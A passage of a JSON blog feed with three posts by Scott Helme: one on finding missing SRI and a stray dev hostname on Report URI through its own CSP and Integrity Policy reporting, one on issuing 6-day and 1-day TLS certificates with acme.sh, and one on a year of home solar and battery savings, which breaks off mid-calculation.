          "description": "<p>Dogfooding is often talked about as a best practice, but I don't often see the results of such activities. For all new features introduced on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, we are always the first to try them out and see how they work. In this post, we'll look</p>",
          "url": "https://scotthelme.ghost.io/eating-our-own-dogfood-what-running-report-uri-on-report-uri-taught-us/",
          "published": "2026-01-28T09:36:48.000Z",
          "updated": "2026-01-28T09:36:48.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\"><p>Dogfooding is often talked about as a best practice, but I don't often see the results of such activities. For all new features introduced on <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, we are always the first to try them out and see how they work. In this post, we'll look at a few examples of issues that we found on Report URI using Report URI, and how you can use our platform to identify exactly the same kind of problems!</p><p></p><h4 id=\"dogfooding\">Dogfooding</h4><p>If you're not familiar with the term dogfooding, or 'eating your own dogfood', here's how the Oxford English Dictionary defines it:</p><p></p><blockquote>Computing slang<br>Of a company or its employees: to use a product or service developed by the company, as a means of testing it before it is made available to customers.</blockquote><p></p><p>It's pretty straightforward and something that we've been doing quite literally since the dawn of Report URI over a decade ago. Any new feature that we introduce gets deployed on Report URI first of all, prompting changes, improvements or fixes as required. Once things are going well, we then introduce a small selection of our customers to participate in a closed beta, again to elicit feedback for the same improvement cycle. After that, the feature will go to an open beta, and finally on to general availability. We currently have two features in the final open beta stages of this process, <a href=\"https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">CSP Integrity</a> and <a href=\"https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity Policy</a>, and it was during the dogfooding stage of these features that some of things we're doing to discuss were found.</p><p></p><h4 id=\"integrity-policyfinding-scripts-missing-sri-protection\">Integrity Policy - finding scripts missing SRI protection</h4><p>If you're not familiar with Subresource Integrity (SRI), you can read my blog post on <a href=\"https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Subresource Integrity: Securing CDN loaded assets</a>, but here's is a quick explainer. When loading a script tag, especially from a 3rd-party, we have no control over the script we get served, and that can lead to some pretty big problems if the script is modified in a malicious way. </p><p>SRI allows you to specify an integrity attribute on a script tag so that the browser can verify the file once it downloads it, protecting against malicious modification. Here's a simple example of a before and after for a script tag without SRI and then with SRI.</p><pre><code>//before\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js\">\n</script>\n\n//after\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js\" \nintegrity=\"sha256-ivk71nXhz9nsyFDoYoGf2sbjrR9ddh+XDkCcfZxjvcM=\" \ncrossorigin=\"anonymous\">\n</script></code></pre><p></p><p>There have been literally countless examples where SRI would have saved organisations from costly attacks and data breaches, including that time when <a href=\"https://scotthelme.co.uk/protect-site-from-cryptojacking-csp-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">governments all around the World got hacked</a> because they didn't use it. That said, it can be difficult to enforce the use of SRI and make sure all of your script tags have it, until <a href=\"https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Integrity Policy</a> came along. You can now trivially ensure that all scripts across your application are loaded using SRI by adding a simple HTTP Response Header.</p><pre><code>Integrity-Policy-Report-Only: blocked-destinations=(script), endpoints=(default)</code></pre><p></p><p>This will ask the browser to send a report for any script that is loaded without using SRI, and then, of course, we can go and fix that!</p><p>Here's a couple that we'd missed. First, we had this one come through.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-16.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1742\" height=\"100\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-16.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-16.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/01/image-16.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-16.png 1742w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This is interesting because it really should have SRI as something in the account section, and it turns out it almost did, but there was a typo!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-15.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1449\" height=\"243\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-15.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-15.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-15.png 1449w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>That's an easy fix, and we found another script without SRI a little later too.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-13.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1225\" height=\"375\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-13.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-13.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-13.png 1225w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>This script was in our staff admin section and it was missing SRI, it was reported, and we fixed it!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-14.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1447\" height=\"147\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-14.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-14.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-14.png 1447w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Another great thing to consider about this is that you will only receive telemetry reports when there's a problem. If everything is running as it should be on your site, then no telemetry will be sent!</p><p></p><h4 id=\"content-security-policyfinding-assets-that-shouldnt-be-there\">Content Security Policy - finding assets that shouldn't be there</h4><p>The whole point of CSP is to get visibility into what's happening on your site, and that can be what assets are loading, where data is being communicated, and much more. Often, we're looking for indicators of malicious activity, like JavaScript that shouldn't be present, or data being somewhere it shouldn't be. But, sometimes, we can also detect mistakes that were made during development!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-18.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1495\" height=\"163\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-18.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-18.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-18.png 1495w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>We started getting reports for these images loading on our site and because they're not from an approved source, they were blocked and reported to us. Looking closely, the images are from our <code>.io</code> domain instead of our <code>.com</code> domain, which is what we use in test/dev environments, but not in production. It seems that someone had inadvertently hardcoded a hostname that they should not have hardcoded and our CSP let us know!</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-17.png\" class=\"kg-image\" alt=\"Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us\" loading=\"lazy\" width=\"1452\" height=\"103\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-17.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-17.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-17.png 1452w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Another simple fix for an issue detected quickly and easily using CSP.</p><p></p><h4 id=\"but-normally-we-dont-find-anything\">But normally we don't find anything!</h4><p>Of course, you're only ever going to find a problem by deploying our product if you had a problem to find in the first place. Our goal is always to test these features out and make sure they're ready for our customers, but sometimes, we do happen to find issues in our own site.</p><p>I guess that's really part of the value proposition though, the difference between <em>thinking</em> you don't have a problem and <em>knowing</em> you don't have a problem. Whether or not we'd found anything by deploying these features, we'd have still massively improved our awareness because we could then be confident we didn't have those issues. </p><p>It just so happens that we didn't think we had any problems, but it turns out we did! Do you think you don't have any problems on your site?</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dogfooding.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Report URI",
              "term": "Report URI",
              "url": null
            },
            {
              "label": "Content Security Policy",
              "term": "Content Security Policy",
              "url": null
            },
            {
              "label": "Integrity Policy",
              "term": "Integrity Policy",
              "url": null
            }
          ]
        },
        {
          "id": "694688d8ab4aac00016ee79e",
          "title": "Blink and you'll miss them: 6-day certificates are here!",
          "description": "<p>What a great way to start 2026! Let's Encrypt have now made their short-lived certificates <a href=\"https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io\" rel=\"noreferrer\">available</a>, so you can go and start using them right away.</p><p>It wasn't long ago when the <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">announcement</a> came that by 2029, all certificates will be reduced to a maximum of</p>",
          "url": "https://scotthelme.ghost.io/blink-and-youll-miss-them-6-day-certificates-are-here/",
          "published": "2026-01-19T10:48:24.000Z",
          "updated": "2026-01-19T10:48:24.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp\" alt=\"Blink and you'll miss them: 6-day certificates are here!\"><p>What a great way to start 2026! Let's Encrypt have now made their short-lived certificates <a href=\"https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io\" rel=\"noreferrer\">available</a>, so you can go and start using them right away.</p><p>It wasn't long ago when the <a href=\"https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">announcement</a> came that by 2029, all certificates will be reduced to a maximum of 47 days validity, and here we are already talking about certificates valid for less than 7 days. Let's Encrypt continue to drive the industry forwards and considerably exceed the reasonable expectations of today.</p><p></p><h4 id=\"getting-a-short-lived-certificate\">Getting a short-lived certificate</h4><p>Of course, what you want to know is how to get one of these certificates! How you do this will change slightly depending on which tool you're using, but you need to specify the <code>shortlived</code> certificate profile when requesting your certificate from Let's Encrypt.</p><p>I'm using <a href=\"https://acme.sh/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">acme.sh</a> and here is the command I used to get one of these certs when I started playing with this last year:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --force --keylength ec-256 --server letsencrypt --cert-profile shortlived</code></pre><p></p><p>After the certificate was issued, I got my notification from Certificate Transparency monitoring via <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, and I could see the full details of the certificate. Here they are:</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image.png\" class=\"kg-image\" alt=\"Blink and you'll miss them: 6-day certificates are here!\" loading=\"lazy\" width=\"870\" height=\"555\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image.png 870w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Just look at that validity period!!</p><p><strong>Valid From</strong>: 15 Nov 2025<br><strong>Valid To</strong>: 22 Nov 2025</p><p>You can find the full details on the <code>shortlived</code> certificate profile from Let's Encrypt, and other supported profiles, on <a href=\"https://letsencrypt.org/docs/profiles/?ref=scotthelme.ghost.io#shortlived\" rel=\"noreferrer\">this page</a>. </p><p></p><h4 id=\"its-not-just-lets-encrypt\">It's not just Let's Encrypt</h4><p>The good news is that Let's Encrypt isn't the only place that you can get your 6-day certificates from either! <a href=\"https://scotthelme.co.uk/another-free-ca-to-use-via-acme/?ref=scotthelme.co.uk\" rel=\"noreferrer\">Google Trust Services</a> also allows you to obtain short-lived certificates, and they have a little more flexibility in that you can request a specific number of days too. Maybe you want 6 days, 12 days, 33 days... Just specify your desired validity period in the request with your ACME client:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to '+6d'</code></pre><p></p><p>That's another source of 6-day certificates for you, but it did get me wondering.</p><p></p><h4 id=\"how-low-can-you-go\">How low can you go?..</h4><p>Well, fellow certificate nerds, you read my mind!</p><p>The Let's Encrypt <code>shortlived</code> profile doesn't allow for configurable validity periods, none of their profiles do, but GTS does allow for configuration of the validity period... 😎</p><pre><code>acme.sh --issue --dns dns_cf -d one.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to '+1d'</code></pre><p></p><p>Yes, that command does work, and yes you do get a <strong>ONE-DAY CERTIFICATE</strong>!!</p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-1.png\" class=\"kg-image\" alt=\"Blink and you'll miss them: 6-day certificates are here!\" loading=\"lazy\" width=\"936\" height=\"608\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-1.png 936w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Just to prove that this really is a thing, here's the PEM encoded certificate!</p><pre><code>-----BEGIN CERTIFICATE-----\nMIIDdTCCAl2gAwIBAgIQAzk1h8YknV4TAJJazYXsrjANBgkqhkiG9w0BAQsFADA7\nMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMQww\nCgYDVQQDEwNXUjEwHhcNMjUxMjE3MjEzNjE1WhcNMjUxMjE4MjIzNjExWjAfMR0w\nGwYDVQQDExRvbmUuc2NvdHRoZWxtZS5jby51azBZMBMGByqGSM49AgEGCCqGSM49\nAwEHA0IABN77LaCQqPHQ1Qx4CsEyiEVARRV5WP+qH9ZyLfO9GzJ+tLfDxROHvYPL\nYNaCgEiGBbkTOOPOX9qXJPz/g/2AQRejggFaMIIBVjAOBgNVHQ8BAf8EBAMCB4Aw\nEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPnLq\nWpoXyBO+jzNGlH1qUr6SYHkwHwYDVR0jBBgwFoAUZmlJ1N4qnJEDz4kOJLgOMANu\niC4wXgYIKwYBBQUHAQEEUjBQMCcGCCsGAQUFBzABhhtodHRwOi8vby5wa2kuZ29v\nZy9zL3dyMS9BemswJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMS5j\ncnQwHwYDVR0RBBgwFoIUb25lLnNjb3R0aGVsbWUuY28udWswEwYDVR0gBAwwCjAI\nBgZngQwBAgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3Ix\nL0FwMDR2SjA1Q3lBLmNybDATBgorBgEEAdZ5AgQDAQH/BAIFADANBgkqhkiG9w0B\nAQsFAAOCAQEAMsMT7AsLtQqzm0FSsDBq33M9/FAz+Su86NQurk8MXXrSjUrdSKhh\nzTv2whJcC0W3aPhoqMeeqpsLYQ4AiLgBS2LPoJz2HuFsIfOddrpI3lOHXssT2Wpc\nMjofbwEOfkDk+jV/rqbz1q+cjbM2VGfoxILgcA7KxVZX0ylvZf52c2zpA9v+sXKu\npPFKHHDX2UNSfsPODmWLVWdfFk/ZFbr09urei8ZgdsJhRKABD9BW3aV8QP2dMISh\nOH6fWcJXrp/w1NjJqIKidMiMgaCe5TDb+j5gOJ+ZLVcKA4WdLtcVYpQIXiT8mIeO\nrCYNVSkFN4ZIONedfENemM5GgBqcqbpxMA==\n-----END CERTIFICATE-----</code></pre><p></p><h4 id=\"automation-is-king\">Automation is King</h4><p>The great thing about this, and I've been using these certs for weeks now, is that once you're using an ACME client, you're already automated, and once you're automated, the validity period really isn't relevant any more. I'm currently sticking with the 6-day certs, and I will alternate between Let's Encrypt and Google Trust Services, but running these automations more frequently to go from 90 days down to 6 days really doesn't change anything at all, so give it a try!</p><p></p>",
          "image": {
            "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp",
            "title": null
          },
          "media": [
            {
              "url": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp",
              "image": "https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp",
              "title": null,
              "length": null,
              "type": "image",
              "mimeType": null
            }
          ],
          "authors": [
            {
              "name": "Scott Helme",
              "email": null,
              "url": null
            }
          ],
          "categories": [
            {
              "label": "Let's Encrypt",
              "term": "Let's Encrypt",
              "url": null
            },
            {
              "label": "Google Trust Services",
              "term": "Google Trust Services",
              "url": null
            },
            {
              "label": "TLS",
              "term": "TLS",
              "url": null
            },
            {
              "label": "Short-Lived Certificates",
              "term": "Short-Lived Certificates",
              "url": null
            }
          ]
        },
        {
          "id": "6962376aa2de7d0001fa2a36",
          "title": "What a Year of Solar and Batteries Really Saved Us in 2025",
          "description": "<p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with</p>",
          "url": "https://scotthelme.ghost.io/what-a-year-of-solar-and-batteries-really-saved-us-in-2025/",
          "published": "2026-01-13T11:24:31.000Z",
          "updated": "2026-01-13T11:24:31.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\"><p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with our objectives, how much money we've saved!</p><p></p><h4 id=\"our-setup\">Our setup</h4><p>Just to give a quick overview of what we're working with, here are the details on our solar, battery and tariff situation:</p><ul><li>☀️Solar Panels: We have 14x Perlight solar panels managed by Enphase that make up the 4.2kWp array on our roof, and they produce energy when the sun shines, which isn't as often as I'd like in the UK!</li><li>🔋Tesla Powerwalls: We have 3x Tesla Powerwall 2 in our garage that were purchased to help us load-shift our energy usage. Electricity is very expensive in the UK and moving from peak usage which is 05:30 to 23:30 at ~£0.28/kWh, to off-peak usage, which is 23:30 - 05:30 at ~£0.07/kWh, is a significant cost saving.</li><li>💡Smart Tariff: My wife and I both drive electric cars and our electricity provider, Octopus Energy, has a Smart Charging tariff. If we plug in one of our cars, and cheap electricity is available, they will activate the charger and allow us to use the off-peak rate, even at peak times.</li></ul><p></p><p>Now that we have some basic info, let's get into the details!</p><p></p><h4 id=\"grid-import\">Grid Import</h4><p>I have 3 sources of data for our grid import, and all of them align pretty well in terms of their measurements. I have the amount our electricity supplier charged us for, I have my own CT Clamp going via a Shelly EM that feeds in to Home Assistant, and I have the Tesla Gateway which controls all grid import into our home.</p><p>Starting with my Home Assistant data, these are the relevant readings. </p><p>Jan 1st 2025 - 15,106.10 kWh<br>Dec 31st 2025 - 36,680.90 kWh<br>Total: 21,574.80 kWh<br><strong>Total Import: 21.6 MWh</strong></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-3.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1138\" height=\"503\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-3.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-3.png 1138w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>As you can see in the graph, during the summer months we have slightly lower grid usage and the graph line climbs at a lower rate, but overall, we have pretty consistent usage. Looking at what our energy supplier charged, us for, that comes in slightly lower.</p><p><strong>Total Import: 20.1 MWh</strong></p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-8.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"997\" height=\"577\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-8.png 997w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>I'm going to use the figure provided by our energy supplier in my calculations because their equipment is likely more accurate than mine, and also, what they're charging me is the ultimate thing that matters. The final source is our Tesla Gateway, which shows us having imported 21.0 MWh.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-11.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1290\" height=\"1568\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-11.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-11.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-11.png 1290w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>It's great to see how all of these sources of data align so poorly! 😅</p><h4 id=\"grid-export\">Grid Export</h4><p>Looking at our export, the graph tells a slightly different story because, as you can see, we didn't really start exporting properly until June, when our export tariff was activated. Prior to June, it simply wasn't worth exporting as we were only getting £0.04/kWh but at the end of May, our export tariff went live and we were then getting paid £0.15/kWh for export. My <a href=\"https://scotthelme.co.uk/automation-improvements-after-a-tesla-powerwall-outage/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">first</a> and <a href=\"https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">second</a> blog posts cover the full details of this change when it happened if you'd like to read them but for now, just note that it will change the calculations a little later as we only had export for 60% of the year.</p><p><strong>Total Export: 6.0 MWh</strong></p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-9.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"989\" height=\"582\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-9.png 989w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>With our grid export covered the final piece of the puzzle is to look at our solar.</p><p></p><h4 id=\"solar-production\">Solar Production</h4><p>We're really not in the best part of the world for generating solar power, but we've still managed to produce quite a bit of power. Even in the most ideal, perfect scenario, our solar array can only generate 4.2kW of power, and we're definitely never getting near that. Our peak production was 2.841kW on 8th July at 13:00, and you can see our full annual production graph here. </p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-12.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1582\" height=\"513\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-12.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-12.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-12.png 1582w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Looking at the total energy production for the entire array, you can see it pick up through the sunnier months but remain quite flat during the darker days of the year.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-2.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1132\" height=\"504\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-2.png 1132w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><p>Jan 1st 2025 - 2.709 MWh<br>Dec 31st 2025 - 5.874 MWh<br><strong>Solar Production: 3.2 MWh</strong></p><p></p><p>Just to confirm, I also took a look at the Enphase app, which is drawing it's data from the same source to be fair, and it agrees with the 3.2 MWh of generation.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-4.png\" class=\"kg-image\" alt=\"What a Year of Solar and Batteries Really Saved Us in 2025\" loading=\"lazy\" width=\"1157\" height=\"560\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-4.png 1157w\" sizes=\"(min-width: 720px) 720px\"></figure><p></p><h4 id=\"calculating-the-savings\">Calculating the savings</h4><p>This isn't exactly straightforward because of the combination of our solar array and excess import/export due to the batteries, but here are the numbers I'm currently working on.</p><p><strong>Total Import: 20.1 MWh<br>Total Export: 6.0 MWh<br>Solar Production: 3.2 